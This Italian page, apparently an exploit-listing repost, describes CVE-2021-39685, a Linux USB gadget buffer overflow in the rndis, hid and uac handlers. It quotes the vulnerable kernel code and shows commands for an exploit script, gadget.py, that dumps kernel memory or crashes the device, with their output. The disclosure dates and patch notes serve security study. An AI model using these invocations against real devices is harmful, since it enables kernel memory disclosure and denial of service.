Sploitus

Exploit for inspector-gadget

kitploit · 2026-08-26

Exploit Code

MARKDOWN289 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SZYMONH-INSPECTOR-GADGET
# inspector-gadget

root@kitploit:~
    
    
        Go Go Gadget Exploit!
         _..--"\  `|`""--.._
      .-'       \  |        `'-.
     /           \_|___...----'`\
    |__,,..--""``(_)--..__      |
    '\     _.--'`.I._     ''--..'
      `''"`,#JGS/_|_\###,---'`
        ,#'  _.:`___`:-._ '#,
       #'  ,~'-;(oIo);-'~, '#
       #   `~-(  |    )=~`  #
       #       | |_  |      #
       #       ; ._. ;      #
       #  _..-;|\ - /|;-._  #
       #-'   /_ \\_// _\  '-#
     /`#    ; /__\-'__\;    #`\
    ;  #\.--|  |O  O   |'-./#  ;
    |__#/   \ _;O__O___/   \#__|
     | #\    [I_[_]__I]    /# |
     \_(#   /  |O  O   \   #)_/
           /   |        \
          /    |         \
         /    /\          \
        /     | `\         ;
       ;      \   '.       |
        \-._.__\     \_..-'/
         '.\  \-.._.-/  /'`
            \_.\    /._/
             \_.;  ;._/
           .-'-./  \.-'-.
          (___.'    '.___)
    

## Riepilogo

Un attaccante può accedere alla memoria del kernel bypassando i confini validi del buffer sfruttando l'implementazione dei gestori delle richieste di controllo nei seguenti gadget USB – rndis, hid, uac1, uac1_legacy e uac2. L'elaborazione di richieste di trasferimento di controllo malevole con wLength inaspettatamente grande non garantisce che questo valore non superi la dimensione del buffer. Per questo motivo è possibile leggere e/o scrivere (a seconda del caso specifico) fino a 65k di memoria del kernel.

## Descrizione

Alcuni percorsi di esecuzione dei gestori di trasferimento di controllo USB di gadget come rndis, hid, uac1, uac1_legacy e uac2 non includono una corretta gestione della lunghezza della richiesta (wLength). Questo valore dovrebbe essere limitato alla dimensione del buffer per prevenire vulnerabilitĂ  di buffer overflow nella fase di trasferimento dei dati.

Il buffer utilizzato dall'endpoint 0 viene allocato in composite.c con una dimensione di USB_COMP_EP0_BUFSIZ (4096) byte, quindi impostare wLength a un valore maggiore di USB_COMP_EP0_BUFSIZ causerĂ  un buffer overflow.

Ad esempio, nel caso di f_uac1.c, l'esecuzione della funzione f_audio_setup consente di effettuare sia letture che scritture oltre i confini del buffer. Né f_audio_setup né nessuna delle funzioni chiamate – audio_set_endpoint_req, audio_get_endpoint_req, out_rq_cur, ac_rq_in – limitano il valore di ritorno a essere più piccolo della dimensione del buffer. Di conseguenza, la fase di trasferimento dati utilizza req->length = value = ctrl->wLength, che è controllato dall'attaccante. Ciò consente di leggere o scrivere fino a 65k byte di memoria del kernel a seconda della direzione del trasferimento di controllo.

root@kitploit:~
    
    
        static int
        f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
        {
                struct usb_composite_dev *cdev = f->config->cdev;
                struct usb_request      *req = cdev->req;
                int                     value = -EOPNOTSUPP;
                u16                     w_index = le16_to_cpu(ctrl->wIndex);
                u16                     w_value = le16_to_cpu(ctrl->wValue);
                u16                     w_length = le16_to_cpu(ctrl->wLength);
    
                /* composite driver infrastructure handles everything; interface
                 * activation uses set_alt().
                 */
                switch (ctrl->bRequestType) {
                case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                        value = audio_set_endpoint_req(f, ctrl);
                        break;
    
                case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
                        value = audio_get_endpoint_req(f, ctrl);
                        break;
                case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                        if (ctrl->bRequest == UAC_SET_CUR)
                                value = out_rq_cur(f, ctrl);
                        break;
                case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
                        value = ac_rq_in(f, ctrl);
                        break;
                default:
                        ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
                                ctrl->bRequestType, ctrl->bRequest,
                                w_value, w_index, w_length);
                }
    
                /* respond with data transfer or status phase? */
                if (value >= 0) {
                        DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
                                ctrl->bRequestType, ctrl->bRequest,
                                w_value, w_index, w_length);
                        req->zero = 0;
                        req->length = value;
                        value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
    
                        if (value < 0)
                                ERROR(cdev, "audio response on err %d\n", value);
                }
    
                /* device either stalls (value < 0) or reports success */
                return value;
        }
    

L'esecuzione dell'exploit di lettura di esempio consente di dumpare fino a 65k di memoria.

root@kitploit:~
    
    
        $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
        65535
    

root@kitploit:~
    
    
        $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
    
        nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
        tem.slice/system-getty.slice/some-email@example.com
        !rE*
        ?& .4!
        0usb_composite_setup_continue
        composite_setup
        usb_gadget_get_string
        usb_otg_descriptor_init
        usb_otg_descriptor_alloc
        usb_free_all_descriptors
        usb_assign_descriptors
        usb_copy_descriptors
    
        usb_gadget_config_buf
    

D'altra parte, l'esecuzione dell'exploit di sovrascrittura consente di scrivere dati arbitrari oltre i confini previsti del buffer.

root@kitploit:~
    
    
        $ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
    
        Message from syslogd@zero at Dec  6 19:56:01 ...
         kernel:[  103.850206] Internal error: Oops: 5 [#1] ARM
    

Analogamente, nel caso del gadget rndis, la funzione rndis_setup può essere sfruttata per scrivere oltre i confini del buffer utilizzando una richiesta di trasferimento di controllo con direzione out, tipo class, destinatario interface e bRequest impostato a USB_CDC_SEND_ENCAPSULATED_COMMAND.

root@kitploit:~
    
    
        static int
        rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
        {
                struct f_rndis          *rndis = func_to_rndis(f);
                struct usb_composite_dev *cdev = f->config->cdev;
                struct usb_request      *req = cdev->req;
                int                     value = -EOPNOTSUPP;
                u16                     w_index = le16_to_cpu(ctrl->wIndex);
                u16                     w_value = le16_to_cpu(ctrl->wValue);
                u16                     w_length = le16_to_cpu(ctrl->wLength);
                /* composite driver infrastructure handles everything except
                 * CDC class messages; interface activation uses set_alt().
                 */
                switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
                /* RNDIS uses the CDC command encapsulation mechanism to implement
                 * an RPC scheme, with much getting/setting of attributes by OID.
                 */
                case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
                                | USB_CDC_SEND_ENCAPSULATED_COMMAND:
                        if (w_value || w_index != rndis->ctrl_id)
                                goto invalid;
                        /* read the request; process it later */
                        value = w_length;
                        req->complete = rndis_command_complete;
                        req->context = rndis;
                        /* later, rndis_response_available() sends a notification */
                        break;
    
         ...
    
         ...
    
                /* respond with data transfer or status phase? */
                if (value >= 0) {
                        DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
                                ctrl->bRequestType, ctrl->bRequest,
                                w_value, w_index, w_length);
                        req->zero = (value < w_length);
                        req->length = value;
                        value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
                        if (value < 0)
                                ERROR(cdev, "rndis response on err %d\n", value);
                }
                /* device either stalls (value < 0) or reports success */
                return value;
    
        }
    

Percorsi di esecuzione vulnerabili:

  * f_rndis.c 
    * rndis_setup
  * f_uac1.c 
    * out_rq_cur
    * ac_rq_in
    * audio_set_endpoint_req
    * audio_get_endpoint_req
  * f_uac1_legacy.c 
    * audio_set_intf_req
    * audio_set_endpoint_req
    * audio_get_endpoint_req
  * f_uac2.c 
    * out_rq_cur
  * f_hid.c 
    * hid_gsetup per il caso HID_REQ_SET_REPORT



## Impatto

I dispositivi che implementano le classi di gadget USB affette (rndis, hid, uac1, uac1_legacy, uac2) possono essere soggetti a vulnerabilitĂ  di buffer overflow che portano a divulgazione di informazioni, denial of service o esecuzione di codice arbitrario nel contesto del kernel.

## Risoluzione prevista

Limitare la dimensione della fase di trasferimento a min(len, buffer_size) nei gestori di richieste di controllo affetti per garantire che non si verifichi un buffer overflow.

## Date chiave

  * 07.12.2021 – segnalato il problema al team di sicurezza del Kernel
  * 09.12.2021 – patch preliminare fornita dal team di sicurezza del Kernel
  * 12.12.2021 – correzione integrata nel ramo principale del kernel Linux (pubblico)



## CVE

CVE-2021-39685

## Exploit

L'invio di richieste di trasferimento di controllo con wLength maggiore dei 4096 byte standard richiede che l'host utilizzi una build personalizzata di libusb con MAX_CTRL_BUFFER_LENGTH aumentato a 0xffff. Questo valore può essere modificato in libusb/os/linux_usbfs.h prima della build.

Lo script gadget.py richiede pyusb. Puoi installare questo pacchetto tramite pip come mostrato di seguito.

> python3 -m pip install pyusb

L'aiuto può essere visualizzato con i parametri -h o --help.

root@kitploit:~
    
    
    usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
                     [-f {rndis,uac1,uac1_legacy,uac2,hid}]
    
    Sample exploit for RNDIS gadget class
    
    optional arguments:
      -h, --help            show this help message and exit
      -v VID, --vid VID     vendor id
      -p PID, --pid PID     product id
      -l LENGTH, --length LENGTH
                            lenght of data to write
      -d {read,write}, --direction {read,write}
                            direction of operation from host perspective
      -f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
    

Esempi di invocazione:

root@kitploit:~
    
    
    ./gadget.py -v 0x1b67 -p 0x400c -f uac1
    ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
    ./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
    

## Patch

  * USB: gadget: rileva richieste endpoint 0 troppo grandi
  * USB: gadget: bRequestType è un bitfield, non un enum



## Note finali

Aggiorna il tuo kernel all'ultima versione stabile.